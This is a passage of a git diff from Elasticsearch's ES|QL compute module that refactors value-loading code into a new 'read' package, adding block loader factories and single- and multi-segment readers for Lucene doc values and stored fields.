-            return factory.newBytesRefBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.DEDUPLICATED_AND_SORTED_ASCENDING);
-        }
-
-        @Override
-        public BlockLoader.BytesRefBuilder bytesRefs(int expectedCount) {
-            return factory.newBytesRefBlockBuilder(expectedCount);
-        }
-
-        @Override
-        public BlockLoader.DoubleBuilder doublesFromDocValues(int expectedCount) {
-            return factory.newDoubleBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.SORTED_ASCENDING);
-        }
-
-        @Override
-        public BlockLoader.DoubleBuilder doubles(int expectedCount) {
-            return factory.newDoubleBlockBuilder(expectedCount);
-        }
-
-        @Override
-        public BlockLoader.FloatBuilder denseVectors(int expectedVectorsCount, int dimensions) {
-            return factory.newFloatBlockBuilder(expectedVectorsCount * dimensions);
-        }
-
-        @Override
-        public BlockLoader.IntBuilder intsFromDocValues(int expectedCount) {
-            return factory.newIntBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.SORTED_ASCENDING);
-        }
-
-        @Override
-        public BlockLoader.IntBuilder ints(int expectedCount) {
-            return factory.newIntBlockBuilder(expectedCount);
-        }
-
-        @Override
-        public BlockLoader.LongBuilder longsFromDocValues(int expectedCount) {
-            return factory.newLongBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.SORTED_ASCENDING);
-        }
-
-        @Override
-        public BlockLoader.LongBuilder longs(int expectedCount) {
-            return factory.newLongBlockBuilder(expectedCount);
-        }
-
-        @Override
-        public BlockLoader.Builder nulls(int expectedCount) {
-            return ElementType.NULL.newBlockBuilder(expectedCount, factory);
-        }
-
-        @Override
-        public BlockLoader.SingletonOrdinalsBuilder singletonOrdinalsBuilder(SortedDocValues ordinals, int count) {
-            return new SingletonOrdinalsBuilder(factory, ordinals, count);
-        }
-
-        @Override
-        public BlockLoader.AggregateMetricDoubleBuilder aggregateMetricDoubleBuilder(int count) {
-            return factory.newAggregateMetricDoubleBlockBuilder(count);
-        }
-    }
-}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ComputeBlockLoaderFactory.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ComputeBlockLoaderFactory.java
new file mode 100644
index 0000000000000..f7f5f541c747f
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ComputeBlockLoaderFactory.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.lucene.read;
+
+import org.apache.lucene.util.BytesRef;
+import org.elasticsearch.compute.data.Block;
+import org.elasticsearch.compute.data.BlockFactory;
+import org.elasticsearch.compute.data.BytesRefBlock;
+import org.elasticsearch.core.Releasable;
+
+class ComputeBlockLoaderFactory extends DelegatingBlockLoaderFactory implements Releasable {
+    private final int pageSize;
+    private Block nullBlock;
+
+    ComputeBlockLoaderFactory(BlockFactory factory, int pageSize) {
+        super(factory);
+        this.pageSize = pageSize;
+    }
+
+    @Override
+    public Block constantNulls() {
+        if (nullBlock == null) {
+            nullBlock = factory.newConstantNullBlock(pageSize);
+        }
+        nullBlock.incRef();
+        return nullBlock;
+    }
+
+    @Override
+    public void close() {
+        if (nullBlock != null) {
+            nullBlock.close();
+        }
+    }
+
+    @Override
+    public BytesRefBlock constantBytes(BytesRef value) {
+        return factory.newConstantBytesRefBlockWith(value, pageSize);
+    }
+}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/DelegatingBlockLoaderFactory.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/DelegatingBlockLoaderFactory.java
new file mode 100644
index 0000000000000..8dc5b6cc43ecf
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/DelegatingBlockLoaderFactory.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.lucene.read;
+
+import org.apache.lucene.index.SortedDocValues;
+import org.elasticsearch.compute.data.Block;
+import org.elasticsearch.compute.data.BlockFactory;
+import org.elasticsearch.compute.data.ElementType;
+import org.elasticsearch.compute.data.SingletonOrdinalsBuilder;
+import org.elasticsearch.index.mapper.BlockLoader;
+
+public abstract class DelegatingBlockLoaderFactory implements BlockLoader.BlockFactory {
+    protected final BlockFactory factory;
+
+    protected DelegatingBlockLoaderFactory(BlockFactory factory) {
+        this.factory = factory;
+    }
+
+    @Override
+    public BlockLoader.BooleanBuilder booleansFromDocValues(int expectedCount) {
+        return factory.newBooleanBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.SORTED_ASCENDING);
+    }
+
+    @Override
+    public BlockLoader.BooleanBuilder booleans(int expectedCount) {
+        return factory.newBooleanBlockBuilder(expectedCount);
+    }
+
+    @Override
+    public BlockLoader.BytesRefBuilder bytesRefsFromDocValues(int expectedCount) {
+        return factory.newBytesRefBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.DEDUPLICATED_AND_SORTED_ASCENDING);
+    }
+
+    @Override
+    public BlockLoader.BytesRefBuilder bytesRefs(int expectedCount) {
+        return factory.newBytesRefBlockBuilder(expectedCount);
+    }
+
+    @Override
+    public BlockLoader.DoubleBuilder doublesFromDocValues(int expectedCount) {
+        return factory.newDoubleBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.SORTED_ASCENDING);
+    }
+
+    @Override
+    public BlockLoader.DoubleBuilder doubles(int expectedCount) {
+        return factory.newDoubleBlockBuilder(expectedCount);
+    }
+
+    @Override
+    public BlockLoader.FloatBuilder denseVectors(int expectedVectorsCount, int dimensions) {
+        return factory.newFloatBlockBuilder(expectedVectorsCount * dimensions);
+    }
+
+    @Override
+    public BlockLoader.IntBuilder intsFromDocValues(int expectedCount) {
+        return factory.newIntBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.SORTED_ASCENDING);
+    }
+
+    @Override
+    public BlockLoader.IntBuilder ints(int expectedCount) {
+        return factory.newIntBlockBuilder(expectedCount);
+    }
+
+    @Override
+    public BlockLoader.LongBuilder longsFromDocValues(int expectedCount) {
+        return factory.newLongBlockBuilder(expectedCount).mvOrdering(Block.MvOrdering.SORTED_ASCENDING);
+    }
+
+    @Override
+    public BlockLoader.LongBuilder longs(int expectedCount) {
+        return factory.newLongBlockBuilder(expectedCount);
+    }
+
+    @Override
+    public BlockLoader.Builder nulls(int expectedCount) {
+        return ElementType.NULL.newBlockBuilder(expectedCount, factory);
+    }
+
+    @Override
+    public BlockLoader.SingletonOrdinalsBuilder singletonOrdinalsBuilder(SortedDocValues ordinals, int count) {
+        return new SingletonOrdinalsBuilder(factory, ordinals, count);
+    }
+
+    @Override
+    public BlockLoader.AggregateMetricDoubleBuilder aggregateMetricDoubleBuilder(int count) {
+        return factory.newAggregateMetricDoubleBlockBuilder(count);
+    }
+}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/TimeSeriesExtractFieldOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/TimeSeriesExtractFieldOperator.java
similarity index 98%
rename from x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/TimeSeriesExtractFieldOperator.java
rename to x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/TimeSeriesExtractFieldOperator.java
index f535bc462fdfc..9ec5802b43f98 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/TimeSeriesExtractFieldOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/TimeSeriesExtractFieldOperator.java
@@ -5,7 +5,7 @@
  * 2.0.
  */
 
-package org.elasticsearch.compute.lucene;
+package org.elasticsearch.compute.lucene.read;
 
 import org.apache.lucene.index.IndexReader;
 import org.apache.lucene.index.LeafReaderContext;
@@ -21,6 +21,7 @@
 import org.elasticsearch.compute.data.OrdinalBytesRefBlock;
 import org.elasticsearch.compute.data.OrdinalBytesRefVector;
 import org.elasticsearch.compute.data.Page;
+import org.elasticsearch.compute.lucene.ShardContext;
 import org.elasticsearch.compute.operator.AbstractPageMappingOperator;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.Operator;
@@ -191,7 +192,7 @@ public void close() {
         Releasables.close(fieldsReader, super::close);
     }
 
-    static class BlockLoaderFactory extends ValuesSourceReaderOperator.DelegatingBlockLoaderFactory {
+    static class BlockLoaderFactory extends DelegatingBlockLoaderFactory {
         BlockLoaderFactory(BlockFactory factory) {
             super(factory);
         }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromManyReader.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromManyReader.java
new file mode 100644
index 0000000000000..7ff6e7211b7f2
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromManyReader.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.lucene.read;
+
+import org.apache.lucene.index.LeafReaderContext;
+import org.elasticsearch.compute.data.Block;
+import org.elasticsearch.compute.data.DocVector;
+import org.elasticsearch.core.Releasable;
+import org.elasticsearch.core.Releasables;
+import org.elasticsearch.index.fieldvisitor.StoredFieldLoader;
+import org.elasticsearch.index.mapper.BlockLoader;
+import org.elasticsearch.index.mapper.BlockLoaderStoredFieldsFromLeafLoader;
+import org.elasticsearch.index.mapper.SourceLoader;
+import org.elasticsearch.search.fetch.StoredFieldsSpec;
+
+import java.io.IOException;
+
+/**
+ * Loads values from a many leaves. Much less efficient than {@link ValuesFromSingleReader}.
+ */
+class ValuesFromManyReader extends ValuesReader {
+    private final int[] forwards;
+    private final int[] backwards;
+    private final BlockLoader.RowStrideReader[] rowStride;
+
+    private BlockLoaderStoredFieldsFromLeafLoader storedFields;
+
+    ValuesFromManyReader(ValuesSourceReaderOperator operator, DocVector docs) {
+        super(operator, docs);
+        forwards = docs.shardSegmentDocMapForwards();
+        backwards = docs.shardSegmentDocMapBackwards();
+        rowStride = new BlockLoader.RowStrideReader[operator.fields.length];
+    }
+
+    @Override
+    protected void load(Block[] target, int offset) throws IOException {
+        try (Run run = new Run(target)) {
+            run.run(offset);
+        }
+    }
+
+    class Run implements Releasable {
+        private final Block[] target;
+        private final Block.Builder[][] builders;
+        private final BlockLoader[][] converters;
+        private final Block.Builder[] fieldTypeBuilders;
+
+        Run(Block[] target) {
+            this.target = target;
+            fieldTypeBuilders = new Block.Builder[target.length];
+            builders = new Block.Builder[target.length][operator.shardContexts.size()];
+            converters = new BlockLoader[target.length][operator.shardContexts.size()];
+        }
+
+        void run(int offset) throws IOException {
+            assert offset == 0; // TODO allow non-0 offset to support splitting pages
+            for (int f = 0; f < operator.fields.length; f++) {
+                /*
+                 * Important note: each field has a desired type, which might not match the mapped type (in the case of union-types).
+                 * We create the final block builders using the desired type, one for each field, but then also use inner builders
+                 * (one for each field and shard), and converters (again one for each field and shard) to actually perform the field
+                 * loading in a way that is correct for the mapped field type, and then convert between that type and the desired type.
+                 */
+                fieldTypeBuilders[f] = operator.fields[f].info.type().newBlockBuilder(docs.getPositionCount(), operator.blockFactory);
+                builders[f] = new Block.Builder[operator.shardContexts.size()];
+                converters[f] = new BlockLoader[operator.shardContexts.size()];
+            }
+            try (
+                ComputeBlockLoaderFactory loaderBlockFactory = new ComputeBlockLoaderFactory(operator.blockFactory, docs.getPositionCount())
+            ) {
+                int p = forwards[offset];
+                int shard = docs.shards().getInt(p);
+                int segment = docs.segments().getInt(p);
+                int firstDoc = docs.docs().getInt(p);
+                operator.positionFieldWork(shard, segment, firstDoc);
+                LeafReaderContext ctx = operator.ctx(shard, segment);
+                fieldsMoved(ctx, shard);
+                verifyBuilders(loaderBlockFactory, shard);
+                read(firstDoc, shard);
+
+                int i = offset + 1;
+                while (i < forwards.length) {
+                    p = forwards[i];
+                    shard = docs.shards().getInt(p);
+                    segment = docs.segments().getInt(p);
+                    boolean changedSegment = operator.positionFieldWorkDocGuaranteedAscending(shard, segment);
+                    if (changedSegment) {
+                        ctx = operator.ctx(shard, segment);
+                        fieldsMoved(ctx, shard);
+                    }
+                    verifyBuilders(loaderBlockFactory, shard);
+                    read(docs.docs().getInt(p), shard);
+                    i++;
+                }
+                buildBlocks();
+            }
+        }
+
+        private void buildBlocks() {
+            for (int f = 0; f < target.length; f++) {
+                for (int s = 0; s < operator.shardContexts.size(); s++) {
+                    if (builders[f][s] != null) {
+                        try (Block orig = (Block) converters[f][s].convert(builders[f][s].build())) {
+                            fieldTypeBuilders[f].copyFrom(orig, 0, orig.getPositionCount());
+                        }
+                    }
+                }
+                try (Block targetBlock = fieldTypeBuilders[f].build()) {
+                    target[f] = targetBlock.filter(backwards);
+                }
+                operator.sanityCheckBlock(rowStride[f], backwards.length, target[f], f);
+            }
+        }
+
+        private void verifyBuilders(ComputeBlockLoaderFactory loaderBlockFactory, int shard) {
+            for (int f = 0; f < operator.fields.length; f++) {
+                if (builders[f][shard] == null) {
+                    // Note that this relies on field.newShard() to set the loader and converter correctly for the current shard
+                    builders[f][shard] = (Block.Builder) operator.fields[f].loader.builder(loaderBlockFactory, docs.getPositionCount());
+                    converters[f][shard] = operator.fields[f].loader;
+                }
+            }
+        }
+
+        private void read(int doc, int shard) throws IOException {
+            storedFields.advanceTo(doc);
+            for (int f = 0; f < builders.length; f++) {
+                rowStride[f].read(doc, storedFields, builders[f][shard]);
+            }
+        }
+
+        @Override
+        public void close() {
+            Releasables.closeExpectNoException(fieldTypeBuilders);
+            for (int f = 0; f < operator.fields.length; f++) {
+                Releasables.closeExpectNoException(builders[f]);
+            }
+        }
+    }
+
+    private void fieldsMoved(LeafReaderContext ctx, int shard) throws IOException {
+        StoredFieldsSpec storedFieldsSpec = StoredFieldsSpec.NO_REQUIREMENTS;
+        for (int f = 0; f < operator.fields.length; f++) {
+            ValuesSourceReaderOperator.FieldWork field = operator.fields[f];
+            rowStride[f] = field.rowStride(ctx);
+            storedFieldsSpec = storedFieldsSpec.merge(field.loader.rowStrideStoredFieldSpec());
+        }
+        SourceLoader sourceLoader = null;
+        if (storedFieldsSpec.requiresSource()) {
+            sourceLoader = operator.shardContexts.get(shard).newSourceLoader().get();
+            storedFieldsSpec = storedFieldsSpec.merge(new StoredFieldsSpec(true, false, sourceLoader.requiredStoredFields()));
+        }
+        storedFields = new BlockLoaderStoredFieldsFromLeafLoader(
+            StoredFieldLoader.fromSpec(storedFieldsSpec).getLoader(ctx, null),
+            sourceLoader != null ? sourceLoader.leaf(ctx.reader(), null) : null
+        );
+        if (false == storedFieldsSpec.equals(StoredFieldsSpec.NO_REQUIREMENTS)) {
+            operator.trackStoredFields(storedFieldsSpec, false);
+        }
+    }
+}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java
new file mode 100644
index 0000000000000..3ac6565d21c33
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.lucene.read;
+
+import org.apache.lucene.index.LeafReaderContext;
+import org.elasticsearch.compute.data.Block;
+import org.elasticsearch.compute.data.DocVector;
+import org.elasticsearch.core.Releasable;
+import org.elasticsearch.core.Releasables;
+import org.elasticsearch.index.fieldvisitor.StoredFieldLoader;
+import org.elasticsearch.index.mapper.BlockLoader;
+import org.elasticsearch.index.mapper.BlockLoaderStoredFieldsFromLeafLoader;
+import org.elasticsearch.index.mapper.SourceLoader;
+import org.elasticsearch.search.fetch.StoredFieldsSpec;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Loads values from a single leaf. Much more efficient than {@link ValuesFromManyReader}.
+ */
+class ValuesFromSingleReader extends ValuesReader {
+    /**
+     * Minimum number of documents for which it is more efficient to use a
+     * sequential stored field reader when reading stored fields.
+     * <p>
+     *     The sequential stored field reader decompresses a whole block of docs
+     *     at a time so for very short lists it won't be faster to use it. We use
+     *     {@code 10} documents as the boundary for "very short" because it's what
+     *     search does, not because we've done extensive testing on the number.
+     * </p>
+     */
+    static final int SEQUENTIAL_BOUNDARY = 10;
+
+    private final int shard;
+    private final int segment;
+
+    ValuesFromSingleReader(ValuesSourceReaderOperator operator, DocVector docs) {
+        super(operator, docs);
+        this.shard = docs.shards().getInt(0);
+        this.segment = docs.segments().getInt(0);
+    }
+
+    @Override
+    protected void load(Block[] target, int offset) throws IOException {
+        assert offset == 0; // TODO allow non-0 offset to support splitting pages
+        if (docs.singleSegmentNonDecreasing()) {
+            loadFromSingleLeaf(target, new BlockLoader.Docs() {
+                @Override
+                public int count() {
+                    return docs.getPositionCount();
+                }
+
+                @Override
+                public int get(int i) {
+                    return docs.docs().getInt(i);
+                }
+            });
+            return;
+        }
+        int[] forwards = docs.shardSegmentDocMapForwards();
+        loadFromSingleLeaf(target, new BlockLoader.Docs() {
+            @Override
+            public int count() {
+                return docs.getPositionCount();
+            }
+
+            @Override
+            public int get(int i) {
+                return docs.docs().getInt(forwards[i]);
+            }
+        });
+        final int[] backwards = docs.shardSegmentDocMapBackwards();
+        for (int i = 0; i < target.length; i++) {
+            try (Block in = target[i]) {
+                target[i] = in.filter(backwards);
+            }
+        }
+    }
+
+    private void loadFromSingleLeaf(Block[] target, BlockLoader.Docs docs) throws IOException {
+        int firstDoc = docs.get(0);
+        operator.positionFieldWork(shard, segment, firstDoc);
+        StoredFieldsSpec storedFieldsSpec = StoredFieldsSpec.NO_REQUIREMENTS;
+        List<RowStrideReaderWork> rowStrideReaders = new ArrayList<>(operator.fields.length);
+        LeafReaderContext ctx = operator.ctx(shard, segment);
+        try (ComputeBlockLoaderFactory loaderBlockFactory = new ComputeBlockLoaderFactory(operator.blockFactory, docs.count())) {
+            for (int f = 0; f < operator.fields.length; f++) {
+                ValuesSourceReaderOperator.FieldWork field = operator.fields[f];
+                BlockLoader.ColumnAtATimeReader columnAtATime = field.columnAtATime(ctx);
+                if (columnAtATime != null) {
+                    target[f] = (Block) columnAtATime.read(loaderBlockFactory, docs);
+                    operator.sanityCheckBlock(columnAtATime, docs.count(), target[f], f);
+                } else {
+                    rowStrideReaders.add(
+                        new RowStrideReaderWork(
+                            field.rowStride(ctx),
+                            (Block.Builder) field.loader.builder(loaderBlockFactory, docs.count()),
+                            field.loader,
+                            f
+                        )
+                    );
+                    storedFieldsSpec = storedFieldsSpec.merge(field.loader.rowStrideStoredFieldSpec());
+                }
+            }
+
+            if (rowStrideReaders.isEmpty() == false) {
+                loadFromRowStrideReaders(target, storedFieldsSpec, rowStrideReaders, ctx, docs);
+            }
+        } finally {
+            Releasables.close(rowStrideReaders);
+        }
+    }
+
+    private void loadFromRowStrideReaders(
+        Block[] target,
+        StoredFieldsSpec storedFieldsSpec,
+        List<RowStrideReaderWork> rowStrideReaders,
+        LeafReaderContext ctx,
+        BlockLoader.Docs docs
+    ) throws IOException {
+        SourceLoader sourceLoader = null;
+        ValuesSourceReaderOperator.ShardContext shardContext = operator.shardContexts.get(shard);
+        if (storedFieldsSpec.requiresSource()) {
+            sourceLoader = shardContext.newSourceLoader().get();
+            storedFieldsSpec = storedFieldsSpec.merge(new StoredFieldsSpec(true, false, sourceLoader.requiredStoredFields()));
+        }
+        if (storedFieldsSpec.equals(StoredFieldsSpec.NO_REQUIREMENTS)) {
+            throw new IllegalStateException(
+                "found row stride readers [" + rowStrideReaders + "] without stored fields [" + storedFieldsSpec + "]"
+            );
+        }
+        StoredFieldLoader storedFieldLoader;
+        if (useSequentialStoredFieldsReader(docs, shardContext.storedFieldsSequentialProportion())) {
+            storedFieldLoader = StoredFieldLoader.fromSpecSequential(storedFieldsSpec);
+            operator.trackStoredFields(storedFieldsSpec, true);
+        } else {
+            storedFieldLoader = StoredFieldLoader.fromSpec(storedFieldsSpec);
+            operator.trackStoredFields(storedFieldsSpec, false);
+        }
+        BlockLoaderStoredFieldsFromLeafLoader storedFields = new BlockLoaderStoredFieldsFromLeafLoader(
+            storedFieldLoader.getLoader(ctx, null),
+            sourceLoader != null ? sourceLoader.leaf(ctx.reader(), null) : null
+        );
+        int p = 0;
+        while (p < docs.count()) {
+            int doc = docs.get(p++);
+            storedFields.advanceTo(doc);
+            for (RowStrideReaderWork work : rowStrideReaders) {
+                work.read(doc, storedFields);
+            }
+        }
+        for (RowStrideReaderWork work : rowStrideReaders) {
+            target[work.offset] = work.build();
+            operator.sanityCheckBlock(work.reader, p, target[work.offset], work.offset);
+        }
+    }
+
+    /**
+     * Is it more efficient to use a sequential stored field reader
+     * when reading stored fields for the documents contained in {@code docIds}?
+     */
+    private boolean useSequentialStoredFieldsReader(BlockLoader.Docs docs, double storedFieldsSequentialProportion) {
+        int count = docs.count();
+        if (count < SEQUENTIAL_BOUNDARY) {
+            return false;
+        }
+        int range = docs.get(count - 1) - docs.get(0);
+        return range * storedFieldsSequentialProportion <= count;
+    }
+
+    private record RowStrideReaderWork(BlockLoader.RowStrideReader reader, Block.Builder builder, BlockLoader loader, int offset)
+        implements
+            Releasable {
+        void read(int doc, BlockLoaderStoredFieldsFromLeafLoader storedFields) throws IOException {
+            reader.read(doc, storedFields, builder);
+        }
+
+        Block build() {
+            return (Block) loader.convert(builder.build());
+        }
+
+        @Override
+        public void close() {
+            builder.close();
+        }
+    }
+}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java
new file mode 100644
index 0000000000000..d3b8b0edcec3d
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.lucene.read;
+
+import org.elasticsearch.compute.data.Block;
+import org.elasticsearch.compute.data.DocVector;
+import org.elasticsearch.core.ReleasableIterator;
+import org.elasticsearch.core.Releasables;
+
+import java.io.IOException;
+import java.io.UncheckedIOException;
+
+public abstract class ValuesReader implements ReleasableIterator<Block[]> {
+    protected final ValuesSourceReaderOperator operator;
+    protected final DocVector docs;
+    private int offset;
+
+    ValuesReader(ValuesSourceReaderOperator operator, DocVector docs) {
+        this.operator = operator;
+        this.docs = docs;
+    }
+
+    @Override
+    public boolean hasNext() {
+        return offset < docs.getPositionCount();
+    }
+
+    @Override
+    public Block[] next() {
+        Block[] target = new Block[operator.fields.length];
+        boolean success = false;
+        try {
+            load(target, offset);
+            success = true;
+            for (Block b : target) {
+                operator.valuesLoaded += b.getTotalValueCount();
+            }
+            offset += target[0].getPositionCount();
+            return target;
+        } catch (IOException e) {
+            throw new UncheckedIOException(e);
+        } finally {
+            if (success == false) {
+                Releasables.closeExpectNoException(target);
+            }
+        }
+    }
+
+    protected abstract void load(Block[] target, int offset) throws IOException;
+
+    @Override
+    public void close() {}
+}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperator.java
new file mode 100644
index 0000000000000..2fd4784224087
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperator.java
@@ -0,0 +1,306 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.lucene.read;
+
+import org.apache.lucene.index.IndexReader;
+import org.apache.lucene.index.LeafReaderContext;
+import org.elasticsearch.compute.data.Block;
+import org.elasticsearch.compute.data.BlockFactory;
+import org.elasticsearch.compute.data.DocBlock;
+import org.elasticsearch.compute.data.DocVector;
+import org.elasticsearch.compute.data.ElementType;
+import org.elasticsearch.compute.data.Page;
+import org.elasticsearch.compute.lucene.LuceneSourceOperator;
+import org.elasticsearch.compute.operator.AbstractPageMappingToIteratorOperator;
+import org.elasticsearch.compute.operator.DriverContext;
+import org.elasticsearch.compute.operator.Operator;
+import org.elasticsearch.core.ReleasableIterator;
+import org.elasticsearch.index.mapper.BlockLoader;
+import org.elasticsearch.index.mapper.SourceLoader;
+import org.elasticsearch.search.fetch.StoredFieldsSpec;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.Map;
+import java.util.TreeMap;
+import java.util.function.IntFunction;
+import java.util.function.Supplier;
+
+/**
+ * Operator that extracts doc_values from a Lucene index out of pages that have been produced by {@link LuceneSourceOperator}
+ * and outputs them to a new column.
+ */
+public class ValuesSourceReaderOperator extends AbstractPageMappingToIteratorOperator {
+    /**
+     * Creates a factory for {@link ValuesSourceReaderOperator}.
+     * @param fields fields to load
+     * @param shardContexts per-shard loading information
+     * @param docChannel the channel containing the shard, leaf/segment and doc id
+     */
+    public record Factory(List<FieldInfo> fields, List<ShardContext> shardContexts, int docChannel) implements OperatorFactory {
+        public Factory {
+            if (fields.isEmpty()) {
+                throw new IllegalStateException("ValuesSourceReaderOperator doesn't support empty fields");
+            }
+        }
+
+        @Override
+        public Operator get(DriverContext driverContext) {
+            return new ValuesSourceReaderOperator(driverContext.blockFactory(), fields, shardContexts, docChannel);
+        }
+
+        @Override
+        public String describe() {
+            StringBuilder sb = new StringBuilder();
+            sb.append("ValuesSourceReaderOperator[fields = [");
+            if (fields.size() < 10) {
+                boolean first = true;
+                for (FieldInfo f : fields) {
+                    if (first) {
+                        first = false;
+                    } else {
+                        sb.append(", ");
+                    }
+                    sb.append(f.name);
+                }
+            } else {
+                sb.append(fields.size()).append(" fields");
+            }
+            return sb.append("]]").toString();
+        }
+    }
+
+    /**
+     * Configuration for a field to load.
+     *
+     * {@code blockLoader} maps shard index to the {@link BlockLoader}s
+     * which load the actual blocks.
+     */
+    public record FieldInfo(String name, ElementType type, IntFunction<BlockLoader> blockLoader) {}
+
+    public record ShardContext(IndexReader reader, Supplier<SourceLoader> newSourceLoader, double storedFieldsSequentialProportion) {}
+
+    final FieldWork[] fields;
+    final List<ShardContext> shardContexts;
+    private final int docChannel;
+    final BlockFactory blockFactory;
+
+    private final Map<String, Integer> readersBuilt = new TreeMap<>();
+    long valuesLoaded;
+
+    private int lastShard = -1;
+    private int lastSegment = -1;
+
+    /**
+     * Creates a new extractor
+     * @param fields fields to load
+     * @param docChannel the channel containing the shard, leaf/segment and doc id
+     */
+    public ValuesSourceReaderOperator(BlockFactory blockFactory, List<FieldInfo> fields, List<ShardContext> shardContexts, int docChannel) {
+        if (fields.isEmpty()) {
+            throw new IllegalStateException("ValuesSourceReaderOperator doesn't support empty fields");
+        }
+        this.fields = fields.stream().map(FieldWork::new).toArray(FieldWork[]::new);
+        this.shardContexts = shardContexts;
+        this.docChannel = docChannel;
+        this.blockFactory = blockFactory;
+    }
+
+    @Override
+    protected ReleasableIterator<Page> receive(Page page) {
+        DocVector docVector = page.<DocBlock>getBlock(docChannel).asVector();
+        return appendBlockArrays(
+            page,
+            docVector.singleSegment() ? new ValuesFromSingleReader(this, docVector) : new ValuesFromManyReader(this, docVector)
+        );
+    }
+
+    void positionFieldWork(int shard, int segment, int firstDoc) {
+        if (lastShard == shard) {
+            if (lastSegment == segment) {
+                for (FieldWork w : fields) {
+                    w.sameSegment(firstDoc);
+                }
+                return;
+            }
+            lastSegment = segment;
+            for (FieldWork w : fields) {
+                w.sameShardNewSegment();
+            }
+            return;
+        }
+        lastShard = shard;
+        lastSegment = segment;
+        for (FieldWork w : fields) {
+            w.newShard(shard);
+        }
+    }
+
+    boolean positionFieldWorkDocGuaranteedAscending(int shard, int segment) {
+        if (lastShard == shard) {
+            if (lastSegment == segment) {
+                return false;
+            }
+            lastSegment = segment;
+            for (FieldWork w : fields) {
+                w.sameShardNewSegment();
+            }
+            return true;
+        }
+        lastShard = shard;
+        lastSegment = segment;
+        for (FieldWork w : fields) {
+            w.newShard(shard);
+        }
+        return true;
+    }
+
+    void trackStoredFields(StoredFieldsSpec spec, boolean sequential) {
+        readersBuilt.merge(
+            "stored_fields["
+                + "requires_source:"
+                + spec.requiresSource()
+                + ", fields:"
+                + spec.requiredStoredFields().size()
+                + ", sequential: "
+                + sequential
+                + "]",
+            1,
+            (prev, one) -> prev + one
+        );
+    }
+
+    protected class FieldWork {
+        final FieldInfo info;
+
+        BlockLoader loader;
+        BlockLoader.ColumnAtATimeReader columnAtATime;
+        BlockLoader.RowStrideReader rowStride;
+
